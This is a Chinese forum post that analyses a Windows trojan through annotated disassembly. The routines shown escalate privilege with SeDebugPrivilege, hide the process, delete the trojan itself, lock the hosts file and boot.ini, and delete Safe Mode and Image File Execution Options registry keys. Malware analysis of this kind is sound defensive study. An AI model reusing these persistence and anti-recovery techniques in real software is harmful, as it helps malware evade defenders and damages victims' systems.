Hello,everyone!
近日老大给我布置了一篇家庭作业，我自然是不敢有半分懈怠，还正赶上老弟对一些木马常用的猥琐伎俩小有兴趣，我也想积累一些Win32汇编编程的经验，于是就抓了这个“小家伙”来玩玩了，从木马中学习编程和杀毒技术，也算是在小偷家里偷东西了吧*_0
小马一匹，什么功能并不是我们要关心的话题，我们主要来看看感兴趣的相关功能的实现代码，也好学习一下，积累编程经验嘛。分析起来很耗时，我们慢慢看吧，分析一些我就再补充一些 *^◎^*
提权：
seg001:00406394 AdjustPrivilege proc near
seg001:00406394
seg001:00406394 push ebx
seg001:00406395 add esp, 0FFFFFFD0h
seg001:00406398 lea eax, [esp+30h+TokenHandle]
seg001:0040639C push eax ; TokenHandle
seg001:0040639D push 20h ; DesiredAccess
seg001:0040639F call GetCurrentProcess
seg001:0040639F
seg001:004063A4 push eax ; ProcessHandle
seg001:004063A5 call OpenProcessToken
seg001:004063A5
seg001:004063AA lea eax, [esp+30h+Luid]
seg001:004063AE push eax ; lpLuid
seg001:004063AF push offset Name ; "SeDebugPrivilege"
seg001:004063B4 push 0 ; lpSystemName
seg001:004063B6 call LookupPrivilegeValueA
seg001:004063B6
seg001:004063BB mov eax, [esp+30h+Luid.LowPart]
seg001:004063BF mov [esp+30h+NewState.Privileges.Luid.LowPart], eax
seg001:004063C3 mov eax, [esp+30h+Luid.HighPart]
seg001:004063C7 mov [esp+30h+NewState.Privileges.Luid.HighPart], eax
seg001:004063CB mov [esp+30h+NewState.PrivilegeCount], 1
seg001:004063D3 xor ebx, ebx
seg001:004063D5 mov [esp+30h+NewState.Privileges.Attributes], ebx
seg001:004063D9 push esp ; ReturnLength
seg001:004063DA lea eax, [esp+34h+PreviousState]
seg001:004063DE push eax ; PreviousState
seg001:004063DF push 10h ; BufferLength
seg001:004063E1 lea eax, [esp+3Ch+NewState]
seg001:004063E5 push eax ; NewState
seg001:004063E6 push 0 ; DisableAllPrivileges
seg001:004063E8 mov eax, [esp+44h+TokenHandle]
seg001:004063EC push eax ; TokenHandle
seg001:004063ED call AdjustTokenPrivileges
seg001:004063ED
seg001:004063F2 mov eax, [esp+30h+Luid.LowPart]
seg001:004063F6 mov [esp+30h+PreviousState.Privileges.Luid.LowPart], eax
seg001:004063FA mov eax, [esp+30h+Luid.HighPart]
seg001:004063FE mov [esp+30h+PreviousState.Privileges.Luid.HighPart], eax
seg001:00406402 mov [esp+30h+PreviousState.PrivilegeCount], 1
seg001:0040640A or ebx, 2
seg001:0040640D mov [esp+30h+PreviousState.Privileges.Attributes], ebx
seg001:00406411 push esp ; ReturnLength
seg001:00406412 push 0 ; PreviousState
seg001:00406414 mov eax, [esp+38h+BufferLength]
seg001:00406418 push eax ; BufferLength
seg001:00406419 lea eax, [esp+3Ch+PreviousState]
seg001:0040641D push eax ; NewState
seg001:0040641E push 0 ; DisableAllPrivileges
seg001:00406420 mov eax, [esp+44h+TokenHandle]
seg001:00406424 push eax ; TokenHandle
seg001:00406425 call AdjustTokenPrivileges
seg001:00406425
seg001:0040642A add esp, 30h
seg001:0040642D pop ebx
seg001:0040642E retn
seg001:0040642E
seg001:0040642E AdjustPrivilege endp
seg001:00406598 RegisterService proc near
seg001:00406598
seg001:00406598 add esp, 0FFFFFF6Ch
seg001:0040659E mov [esp+94h+var_94], 94h
seg001:004065A5 push esp ; lpVersionInformation
seg001:004065A6 call GetVersionExA
seg001:004065A6
seg001:004065AB cmp eax, 1
seg001:004065AE sbb eax, eax
seg001:004065B0 inc eax
seg001:004065B1 cmp al, 1
seg001:004065B3 jnz short loc_4065FE
seg001:004065B3
seg001:004065B5 cmp [esp+94h+var_84], 2
seg001:004065BA jz short loc_4065FE
seg001:004065BA
seg001:004065BC push offset s_Kernel32_dll ; "kernel32.dll"
seg001:004065C1 call LoadLibraryA
seg001:004065C1
seg001:004065C6 mov hModule, eax
seg001:004065CB cmp hModule, 0
seg001:004065D2 jz short loc_4065FE
seg001:004065D2
seg001:004065D4 push offset s_Registerservi ; "RegisterServiceProcess"
seg001:004065D9 mov eax, hModule
seg001:004065DE push eax ; hModule
seg001:004065DF call GetProcAddress
seg001:004065DF
seg001:004065E4 mov addr_RegisterServiceProcess, eax
seg001:004065E9 push 1
seg001:004065EB push 0
seg001:004065ED call addr_RegisterServiceProcess
seg001:004065F3 mov eax, hModule
seg001:004065F8 push eax ; hLibModule
seg001:004065F9 call FreeLibrary_0 ; "kernel32.dll"
seg001:004065F9
seg001:004065FE loc_4065FE:
seg001:004065FE add esp, 94h
seg001:00406604 retn
seg001:00406604
seg001:00406604 RegisterService endp
seg001:00406A70 del_self proc near
seg001:00406A70
seg001:00406A70 push ebp
seg001:00406A71 mov ebp, esp
seg001:00406A73 add esp, 0FFFFFEECh
seg001:00406A79 xor eax, eax
seg001:00406A7B mov [ebp+var_10C], eax
seg001:00406A81 mov [ebp+var_110], eax
seg001:00406A87 mov [ebp+var_114], eax
seg001:00406A8D xor eax, eax
seg001:00406A8F push ebp
seg001:00406A90 push offset sub_406B2B
seg001:00406A95 push dword ptr fs:[eax]
seg001:00406A98 mov fs:[eax], esp
seg001:00406A9B push 104h ; nSize
seg001:00406AA0 lea eax, [ebp+Buffer]
seg001:00406AA6 push eax ; lpBuffer
seg001:00406AA7 push offset s_Comspec ; "Comspec"
seg001:00406AAC call GetEnvironmentVariableA ; 获取环境变量，查找cmd.exe文件路径
seg001:00406AAC
seg001:00406AB1 push 0
seg001:00406AB3 lea eax, [ebp+var_110]
seg001:00406AB9 lea edx, [ebp+Buffer]
seg001:00406ABF mov ecx, 105h
seg001:00406AC4 call sub_403D34
seg001:00406AC4
seg001:00406AC9 push [ebp+var_110]
seg001:00406ACF push offset s_CDel ; " /c del \""
seg001:00406AD4 lea edx, [ebp+var_114]
seg001:00406ADA xor eax, eax
seg001:00406ADC call sub_402708 ; GetModuleFileNameA获取木马文件路径
seg001:00406ADC
seg001:00406AE1 push [ebp+var_114]
seg001:00406AE7 push offset dword_406B5C ; uCmdShow
seg001:00406AEC lea eax, [ebp+var_10C]
seg001:00406AF2 mov edx, 4
seg001:00406AF7 call sub_403E0C
seg001:00406AF7
seg001:00406AFC mov eax, [ebp+var_10C]
seg001:00406B02 call sub_403F4C
seg001:00406B02
seg001:00406B07 push eax ; lpCmdLine
seg001:00406B08 call WinExec ; 即 “cmd.exe /c del 木马本身路径”
seg001:00406B08
seg001:00406B0D xor eax, eax
seg001:00406B0F pop edx
seg001:00406B10 pop ecx
seg001:00406B11 pop ecx
seg001:00406B12 mov fs:[eax], edx
seg001:00406B15 push offset loc_406B32
seg001:00406B15
seg001:00406B1A loc_406B1A:
seg001:00406B1A lea eax, [ebp+var_114]
seg001:00406B20 mov edx, 3
seg001:00406B25 call sub_403BEC
seg001:00406B25
seg001:00406B2A retn
seg001:00409138 mov edx, offset s_DriversEtcHos ; "drivers\\etc\\hosts"
seg001:0040913D call sub_403D54
seg001:0040913D
seg001:00409142 mov eax, [ebp-0ACh]
seg001:00409148 call FindFile_AdjustFileTime ; 查找文件，若找到就修正文件时间（FindFirstFile/FileTimeToLocalFileTime/FileTimeToDosDateTime）
seg001:00409148
seg001:0040914D cmp al, 1
seg001:0040914F jnz short loc_409194
seg001:0040914F
seg001:00409151 lea eax, [ebp-0B4h]
seg001:00409157 call GetSystemDirectory
seg001:00409157
seg001:0040915C lea eax, [ebp-0B4h]
seg001:00409162 mov edx, offset s_DriversEtcHos ; "drivers\\etc\\hosts"
seg001:00409167 call sub_403D54
seg001:00409167
seg001:0040916C mov eax, [ebp-0B4h]
seg001:00409172 call sub_403F4C
seg001:00409172
seg001:00409177 mov edx, eax
seg001:00409179 lea eax, [ebp-0B0h]
seg001:0040917F call sub_403CF8
seg001:0040917F
seg001:00409184 mov eax, [ebp-0B0h]
seg001:0040918A mov edx, 10h
seg001:0040918F call sub_4066AC ; CreateFileA以独占方式打开文件，防修改
seg001:0040918F
seg001:00409194
seg001:00409194 loc_409194: ; CODE XREF: seg001:0040914Fj
seg001:00409194 lea eax, [ebp-0B8h]
seg001:0040919A call sub_406DEC
seg001:0040919A
seg001:0040919F lea eax, [ebp-0B8h]
seg001:004091A5 mov edx, offset s_Boot_ini ; "boot.ini"
seg001:004091AA call sub_403D54
seg001:004091AA
seg001:004091AF mov eax, [ebp-0B8h]
seg001:004091B5 call FindFile_AdjustFileTime ; 查找文件，若找到就修正文件时间（FindFirstFile/FileTimeToLocalFileTime/FileTimeToDosDateTime）
seg001:004091B5
seg001:004091BA cmp al, 1
seg001:004091BC jnz short loc_409201
seg001:004091BC
seg001:004091BE lea eax, [ebp-0C0h]
seg001:004091C4 call sub_406DEC
seg001:004091C4
seg001:004091C9 lea eax, [ebp-0C0h]
seg001:004091CF mov edx, offset s_Boot_ini ; "boot.ini"
seg001:004091D4 call sub_403D54
seg001:004091D4
seg001:004091D9 mov eax, [ebp-0C0h]
seg001:004091DF call sub_403F4C
seg001:004091DF
seg001:004091E4 mov edx, eax
seg001:004091E6 lea eax, [ebp-0BCh]
seg001:004091EC call sub_403CF8
seg001:004091EC
seg001:004091F1 mov eax, [ebp-0BCh]
seg001:004091F7 mov edx, 10h
seg001:004091FC call sub_4066AC ; 独占方式打开文件，防修改
seg001:0040C6FF Del_Key:
seg001:0040C6FF mov ecx, offset s_4d36e967-e325 ; "{4D36E967-E325-11CE-BFC1-08002BE10318}"
seg001:0040C704 mov edx, offset s_SystemCurre_5 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C709 mov eax, 80000002h
seg001:0040C70E call near ptr s_L_LxRulBSvw3I+0Ah
seg001:0040C70E
seg001:0040C713 cmp al, 1
seg001:0040C715 jnz short loc_40C726
seg001:0040C715
seg001:0040C717 mov edx, offset s_SystemCurre_6 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C71C mov eax, 80000002h
seg001:0040C721 call RegDeleteKey ; 删除相关键值
seg001:0040C721
seg001:0040C726 Del_Key:
seg001:0040C726 mov ecx, offset s_4d36e967-e325 ; "{4D36E967-E325-11CE-BFC1-08002BE10318}"
seg001:0040C72B mov edx, offset s_SystemCurre_7 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C730 mov eax, 80000002h
seg001:0040C735 call near ptr s_L_LxRulBSvw3I+0Ah
seg001:0040C735
seg001:0040C73A cmp al, 1
seg001:0040C73C jnz short loc_40C74D
seg001:0040C73C
seg001:0040C73E mov edx, offset s_SystemCurre_8 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
seg001:0040C743 mov eax, 80000002h
seg001:0040C748 call RegDeleteKeyseg001:0040C76C mov edx, offset s_SoftwareMic_7 ; Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
seg001:0040C771 mov eax, 80000002h
seg001:0040C776 call near ptr s_L_LxRulBSvw3I+0Ah
seg001:0040C776
seg001:0040C77B cmp al, 1
seg001:0040C77D jnz short loc_40C7AA
seg001:0040C77D
seg001:0040C77F push offset s_SoftwareMic_8 ; Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
seg001:0040C784 mov eax, off_41356C
seg001:0040C789 push dword ptr [eax]
seg001:0040C78B push offset dword_40C884
seg001:0040C790 lea eax, [ebp+var_80]
seg001:0040C793 mov edx, 3
seg001:0040C798 call sub_403E0C
seg001:0040C798
seg001:0040C79D mov edx, [ebp+var_80]
seg001:0040C7A0 mov eax, 80000002h
seg001:0040C7A5 call RegDeleteKey
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
我说的老大是Fly
